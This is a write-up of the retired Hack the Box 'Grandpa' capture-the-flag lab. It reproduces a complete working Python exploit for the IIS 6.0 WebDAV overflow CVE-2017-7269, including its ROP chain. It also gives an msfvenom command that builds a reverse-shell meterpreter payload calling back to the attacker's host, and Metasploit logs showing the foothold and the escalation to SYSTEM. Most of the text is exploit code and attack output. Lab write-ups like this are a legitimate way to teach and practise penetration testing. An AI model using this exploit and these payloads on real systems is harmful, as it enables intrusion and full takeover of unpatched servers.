Today we are going to solve another CTF challenge “Grandpa” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab therefore we have chosen retried Grandpa Lab.
Level: Beginners
Task: find user.txt and root.txt file in victim’s machine.
Since these labs are online available therefore they have static IP and IP of Grandpa is 10.10.10.14 so let’s begin with nmap port enumeration.
root@kali:~/htb/grandpa# nmap -sC -sV 10.10.10.14 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-17 15:08 CET Nmap scan report for 10.10.10.14 Host is up (0.027s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 6.0 | http-methods: |_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH |_http-server-header: Microsoft-IIS/6.0 |_http-title: Under Construction | http-webdav-scan: | Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH | Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK | Server Type: Microsoft-IIS/6.0 | WebDAV type: Unkown |_ Server Date: Thu, 17 Jan 2019 14:06:03 GMT Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 29.59 seconds
Microsoft IIS httpd 6.0
Details
- Vulnerability: Microsoft IIS WebDav ‘ScStoragePathFromUrl’ Remote Buffer Overflow
- CVE: CVE-2017-7269
- Disclosure date: March 31 2017
- Affected product: Microsoft Windows Server 2003 R2 SP2 x86
Shellcode
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# An implementation of NSA's ExplodingCan exploit
# Microsoft IIS WebDav 'ScStoragePathFromUrl' Remote Buffer Overflow
# CVE-2017-7269
#
# by @danigargu
#
#
import re
import sys
import socket
import requests
import httplib
import string
import time
import random
import sys
from urlparse import urlparse
from struct import pack
REQUEST_TIMEOUT = 10
DEFAULT_IIS_PATH_SIZE = len("C:\Inetpub\wwwroot")
def decode(data):
return data.decode("utf-8").encode("utf-16le")
def encode(data):
return data.decode("utf-16le").encode("utf-8")
p = lambda x : pack("<L", x) # pack
def rand_text_alpha(size):
chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
return ''.join(random.choice(chars) for _ in range(size))
def supports_webdav(headers):
if "DAV" in headers.get('MS-Author-Via','') or \
headers.get('DASL','') == '<DAV:sql>' or \
re.match('^[\d]+(,\s+[\d]+)?$', headers.get('DAV','')) or \
"PROPFIND" in headers.get('Public','') or \
"PROPFIND" in headers.get('Allow',''):
return True
return False
def check(url):
r = requests.request('OPTIONS', url, timeout=REQUEST_TIMEOUT)
if r.status_code != 200:
print("[-] Status code: %d" % r.status_code)
return False
print("[*] Server found: %s" % r.headers['Server'])
if "IIS/6.0" in r.headers['Server'] and supports_webdav(r.headers):
return True
return False
def find_iis_path_len(url, min_len=3, max_len=70, delay=0):
idx = 0
junk = 60
found = False
iis_path_len = None
cur_size = max_len
assert max_len <= 130, "Max length exceeded (130)"
init_lenght = 130-max_len
while not found and cur_size > min_len:
cur_size = (max_len-idx)
to_brute = rand_text_alpha(init_lenght+idx)
base_query = "<http://localhost/%s> (Not <locktoken:write1>) <http://localhost/>" % to_brute
sys.stdout.write("[*] Trying with size: %d\r" % cur_size)
sys.stdout.flush()
try:
r = requests.request('PROPFIND', url,
timeout=REQUEST_TIMEOUT, headers={
'Content-Length': '0',
'Host': 'localhost',
'If': base_query
})
if r.status_code == 500:
iis_path_len = (max_len-idx)
found = True
idx += 1
time.sleep(delay)
# requests.exceptions.ReadTimeout
except requests.exceptions.ConnectionError as e:
print("[-] ERROR: %s" % e.message)
break
if iis_path_len and iis_path_len == max_len:
iis_path_len = None
return iis_path_len
def make_payload(p_url, iis_path_len, shellcode):
url = p_url.geturl()
payload = "PROPFIND / HTTP/1.1\r\n"
payload += "Host: %s\r\n" % p_url.netloc
payload += "Content-Length: 0\r\n"
payload += "If: <%s/a" % url
junk = (128-iis_path_len) * 2
p1 = rand_text_alpha(junk) # Varies the length given its IIS physical path
p1 += p(0x02020202)
p1 += p(0x680312c0) # str pointer to .data httpext.dll
p1 += rand_text_alpha(24)
p1 += p(0x680313c0) # destination pointer used with memcpy
p1 += rand_text_alpha(12)
p1 += p(0x680313c0) # destination pointer used with memcpy
payload += encode(p1)
payload += "> (Not <locktoken:write1>) "
payload += "<%s/b" % url
p2 = rand_text_alpha(junk - 4)
p2 += p(0x680313c0)
"""
Stack adjust:
rsaenh.dll:68006E4F pop esi
rsaenh.dll:68006E50 pop ebp
rsaenh.dll:68006E51 retn 20h
"""
p2 += p(0x68006e4f) # StackAdjust
p2 += p(0x68006e4f) # StackAdjust
p2 += rand_text_alpha(4)
p2 += p(0x680313c0)
p2 += p(0x680313c0)
p2 += rand_text_alpha(12)
"""
rsaenh.dll:68016082 mov esp, ecx
rsaenh.dll:68016084 mov ecx, [eax]
rsaenh.dll:68016086 mov eax, [eax+4]
rsaenh.dll:68016089 push eax
rsaenh.dll:6801608A retn
"""
p2 += p(0x68016082)
p2 += rand_text_alpha(12)
p2 += p(0x6800b113) # push 0x40 - PAGE_EXECUTE_READWRITE
p2 += rand_text_alpha(4)
p2 += p(0x680124e3) # JMP [EBX]
p2 += p(0x68031460) # shellcode address
p2 += p(0x7ffe0300) # ntdll!KiFastSystemCall address
p2 += p(0xffffffff)
p2 += p(0x680313c0)
p2 += p(0x6803046e)
p2 += rand_text_alpha(4)
p2 += p(0x68031434)
p2 += p(0x680129e7) # leave; ret
"""
rsaenh.dll:68009391 pop eax
rsaenh.dll:68009392 pop ebp
rsaenh.dll:68009393 retn 4
"""
p2 += p(0x68009391)
p2 += rand_text_alpha(16)
p2 += p(0x6803141c)
"""
rsaenh.dll:68006E05 lea esp, [ebp-20h]
rsaenh.dll:68006E08 pop edi
rsaenh.dll:68006E09 pop esi
rsaenh.dll:68006E0A pop ebx
rsaenh.dll:68006E0B leave
rsaenh.dll:68006E0C retn 24h
"""
p2 += p(0x68006e05)
p2 += rand_text_alpha(12)
p2 += p(0x68008246) # EAX val address
p2 += rand_text_alpha(4)
"""
Load 0x8F in EAX: NtProtectVirtualMemory syscall (Windows 2003 Server)
rsaenh.dll:68021DAA mov eax, [eax+110h]
rsaenh.dll:68021DB0 pop ebp
rsaenh.dll:68021DB1 retn 4
"""
p2 += p(0x68021daa)
p2 += rand_text_alpha(4)
p2 += p(0x680313f8)
p2 += p(0x680129e7) # leave; ret
payload += encode(p2)
"""
stack restore:
90 nop
31db xor ebx, ebx
b308 mov bl, 8
648b23 mov esp, dword fs:[ebx]
6681c40008 add sp, 0x800
90 nop
"""
payload += encode("9031DBB308648B236681C4000890".decode("hex"))
payload += encode(shellcode)
payload += ">\r\n\r\n"
return payload
def send_exploit(p_url, data):
host = p_url.hostname
port = p_url.port if p_url.port else 80
vulnerable = False
recv_data = None
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(50)
sock.connect((host, port))
sock.send(data)
recv_data = sock.recv(1024)
sock.close()
except socket.timeout:
print("[*] Socket timeout")
vulnerable = True
except socket.error as e:
if e.errno == 54:
print("[*] Connection reset by peer")
vulnerable = True
return (vulnerable, recv_data)
def main():
if len(sys.argv) < 3:
print("Usage: %s <url> <shellcode-file>" % sys.argv[0])
return
try:
url = sys.argv[1]
sc_file = sys.argv[2]
p_url = urlparse(url)
shellcode = None
with open(sc_file, 'rb') as f:
shellcode = f.read()
print("[*] Using URL: %s" % url)
if not check(url):
print("[-] Server not vulnerable")
return
iis_path_len = find_iis_path_len(url)
if not iis_path_len:
print("[-] Unable to determine IIS path size")
return
print("[*] Found IIS path size: %d" % iis_path_len)
if iis_path_len == DEFAULT_IIS_PATH_SIZE:
print("[*] Default IIS path: C:\Inetpub\wwwroot")
r = requests.request('PROPFIND', url, timeout=REQUEST_TIMEOUT)
if r and r.status_code == 207:
print("[*] WebDAV request: OK")
payload = make_payload(p_url, iis_path_len, shellcode)
print("[*] Payload len: %d" % len(payload))
print("[*] Sending payload...")
vuln, recv_data = send_exploit(p_url, payload)
if vuln:
print("[+] The host is maybe vulnerable")
if recv_data:
print(recv_data)
else:
print("[-] Server did not respond correctly to WebDAV request")
return
except Exception as e:
print("[-] %s" % e)
if __name__ == '__main__':
main()
The shellcode must be in alphanumeric format due to the limitations of the bug. For example we can use msfvenom(metasploit) with the alpha_mixed encoder.
root@kali:~/htb/grandpa# msfvenom -p windows/meterpreter/reverse_tcp -f raw -v sc -e x86/alpha_mixed LHOST=10.10.14.12 LPORT=4444 >shellcode
root@kali:~/htb/grandpa# python ExplodingCan.py http://10.10.10.14 shellcode [*] Using URL: http://10.10.10.14 [*] Server found: Microsoft-IIS/6.0 [*] Found IIS path size: 18 [*] Default IIS path: C:\Inetpub\wwwroot [*] WebDAV request: OK [*] Payload len: 2241 [*] Sending payload... [*] Socket timeout [+] The host is maybe vulnerable
.
msf > use multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 10.10.14.12 lhost => 10.10.14.12 msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 10.10.14.12:4444 [*] Sending stage (179779 bytes) to 10.10.10.14 [*] Meterpreter session 1 opened (10.10.14.12:4444 -> 10.10.10.14:1887) at 2019-01-17 14:44:00 +0100 meterpreter > shell Process 3016 created. Channel 1 created. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. c:\windows\system32\inetsrv>whoami whoami nt authority\network service
Terrific!! I have got unauthorized access of victims command shell through session 1 as shown above
Then I run command getuid for identify user ID and current process but it failed due to limited shell access we have in session 1 and now we need to privilege escalation.
For that background your current meterpreter shell and go for post exploitation
Then I run a post exploit “Multi Recon Local Exploit Suggester” that suggests local meterpreter exploits that can be used for further exploit. The exploits are recommended founded on the architecture and platform that the user has a shell opened as well as the available exploits in meterpreter.
c:\windows\system32\inetsrv>^Z Background channel 1? [y/N] y meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted: [-] Named Pipe Impersonation (In Memory/Admin) [-] Named Pipe Impersonation (Dropper/Admin) [-] Token Duplication (In Memory/Admin) meterpreter > meterpreter > CTRL-Z Background session 1? [y/N] msf exploit(multi/handler) > use post/multi/recon/local_exploit_suggester msf post(multi/recon/local_exploit_suggester) > set session 1 session => 1 msf post(multi/recon/local_exploit_suggester) > run *] 10.10.10.14 - Collecting local exploits for x86/windows... [*] 10.10.10.14 - 28 exploit checks are being tried... [+] 10.10.10.14 - exploit/windows/local/ms10_015_kitrap0d: The target service is running, but could not be validated. [+] 10.10.10.14 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. [+] 10.10.10.14 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable. [+] 10.10.10.14 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. [+] 10.10.10.14 - exploit/windows/local/ms16_016_webdav: The target service is running, but could not be validated. [+] 10.10.10.14 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target service is running, but could not be validated. [+] 10.10.10.14 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable. [+] 10.10.10.14 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable. [*] Post module execution completed
Start a second listener
msf > use multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 10.10.14.12 lhost => 10.10.14.12 msf exploit(multi/handler) > set lport 4455 lport => 4455 msf exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.14.12:4455 [*] Sending stage (179779 bytes) to 10.10.10.14 [*] Meterpreter session 1 opened (10.10.14.12:4455 -> 10.10.10.14:1896) at 2019-01-17 15:30:34 +0100 meterpreter > meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >
At this time use pprFlattenRec Local Privilege Escalation module for making unauthorized access again but as privileged user.
msf post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ppr_flatten_rec msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.12 lhost => 10.10.14.12 msf exploit(windows/local/ppr_flatten_rec) > set lport 4455 lport => 4455 msf exploit(windows/local/ppr_flatten_rec) > run
meterpreter > getuid
msf exploit(windows/local/ppr_flatten_rec) > run [-] Handler failed to bind to 10.10.14.12:4455:- - [-] Handler failed to bind to 0.0.0.0:4455:- - [*] Launching notepad to host the exploit... [+] Process 1776 launched. [*] Reflectively injecting the exploit DLL into 1776... [*] Injecting exploit into 1776 ... [*] Exploit injected. Injecting payload into 1776... [*] Payload injected. Executing exploit... [*] Exploit thread executing (can take a while to run), waiting 30 sec [*] Sending stage (179779 bytes) to 10.10.10.14 [*] Meterpreter session 2 opened (10.10.14.12:4455 -> 10.10.10.14:1896) at 2019-01-17 15:30:34 +0100 ...
Now let’s complete this task my searching user.txt and root.txt flag which is hidden somewhere inside a directory.
meterpreter > shell
Great!! We got our user flag

Inside c:\Document and Setting\Administrator \Desktop I found root.txt file and used type “file name” command for reading this file.

Great!! We got our root flag
Author: Puckiestyle